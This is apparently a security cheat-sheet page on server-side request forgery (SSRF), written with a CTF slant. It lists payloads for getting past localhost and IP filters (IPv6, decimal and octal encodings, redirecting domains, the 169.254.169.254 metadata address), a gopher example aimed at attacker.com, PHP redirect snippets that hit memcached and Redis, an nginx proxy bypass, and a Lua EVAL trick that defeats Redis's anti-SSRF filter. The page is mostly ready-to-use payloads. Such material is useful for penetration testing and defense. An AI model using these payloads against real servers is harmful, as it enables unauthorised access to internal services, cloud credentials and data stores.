Skip to main content

Server Side Request Forgery SSRF

Definition

Server-Side Request Forgery (SSRF) is a vulnerability that allows attackers to manipulate a server into making requests to internal or external resources, potentially gaining access to data and systems not directly reachable by the attacker.

Bypass localhost filters

Payloads with localhost

  • Using localhost
    http://localhost:80
    http://localhost:443
    http://localhost:22
    
  • Using 127.0.0.1
    http://127.0.0.1:80
    http://127.0.0.1:443
    http://127.0.0.1:22
    
  • Using 0.0.0.0
    http://0.0.0.0:80
    http://0.0.0.0:443
    http://0.0.0.0:22
    

Bypass using HTTPS

https://127.0.0.1/
https://localhost/

Bypass localhost with [::]

http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0000::1]:25/ SMTP
http://[0000::1]:22/ SSH
http://[0000::1]:3128/ Squid

Bypass localhost with a domain redirection

DomainRedirect to
localtest.me::1
localh.st127.0.0.1
spoofed.[BURP_COLLABORATOR]127.0.0.1
spoofed.redacted.oastify.com127.0.0.1
company.127.0.0.1.nip.io127.0.0.1

If you don't have a domain you can use firefox.fr

curl -Lv "firefox.fr"
*   Trying 127.0.0.1:80...

The service nip.io is awesome for that, it will convert any ip address as a dns.

NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1

Bypass localhost with CIDR

IP addresses from 127.0.0.0/8

http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

Bypass using a decimal IP location

http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/ = http://169.254.169.254

Bypass using octal IP

Implementations differ on how to handle octal format of ipv4.

http://0177.0.0.1/ = http://127.0.0.1
http://o177.0.0.1/ = http://127.0.0.1
http://0o177.0.0.1/ = http://127.0.0.1
http://q177.0.0.1/ = http://127.0.0.1

Gopher Protocol

The Gopher protocol provides an avenue for SSRF exploitation:

Gopher URI: Structured as gopher://<host>:<port>/<gopher-path>.

Example: gopher://attacker.com:1234/_Hello%0AWorld.
Default port: 70.

Tools like Gopherus facilitate SSRF to Remote Code Execution (RCE) by generating payloads for various services like MySQL, Memcached, and more.

TOCTOU (Time-of-check to time-of-use)

This technique exploits the window between checking and using a resource. By creating a domain that resolves to a whitelisted IP address initially and then to the target IP address after the check, the attacker can bypass certain restrictions.

Redirection

Redirection techniques can be used to direct SSRF requests to specific services or ports, as demonstrated in the PHP code snippet redirecting to a gopher URI.

<?php header("gopher://localhost:11211/1stats%0aquit"); ?>

SSRF on Nginx

  • proxy_pass http://$1; directive allowing SSRF
  • Bypass using curl http://localhost:1337/assets/127.0.0.1:80/

in fact, this directive means that what is passed to the (.+) regex will be used by nginx as a proxy, so it allows to get directly an SSRF

Interacting with Redis Unix Socket

  • If Redis socket exposed, use http://unix:/path/to/socket
  • Example: http://unix:/var/run/redis/redis.sock

Using socat for TCP Proxy

socat -t100 -x -v UNIX-LISTEN:/path/to/sock,mode=777 UNIX-CONNECT:/original/sock

Bypassing Redis Security

explaination

The chain of a SSRF and Redis is promising, but there's a hurdle: Redis, the target service, doesn't accept HTTP protocol, and SSRF typically relies on HTTP. Thus, the challenge lies in crafting an HTTP request that appears valid to Redis, allowing us to leverage the SSRF to reveal the flag.

In the RESP protocol, commands are separated by \r\n (CRLF), identical to HTTP's line endings. Consequently, Redis treats each line of the HTTP request as a distinct command.

However, the response to the second command presents an issue: Redis abruptly terminates the connection. This behavior, introduced in 2017, is a security measure against SSRF attacks. Redis detects HTTP requests by scanning for specific keywords like POST or Host:, and immediately terminates the connection to prevent exploitation. https://github.com/redis/redis/commit/874804da0c014a7d704b3d285aa500098a931f50

the bypass

  • Use 'EVAL' to execute Lua and bypass 'POST', 'Host:' filter
  • Format: '"redis.call(<command>); return ARGV[1];" 0'
<?php
header("HTTP/1.1 302");
header('Location: http://unix:/path/to/sock:"redis.call(\'SET\',\'key\',\'val\'); return ARGV[1];" 0');
?>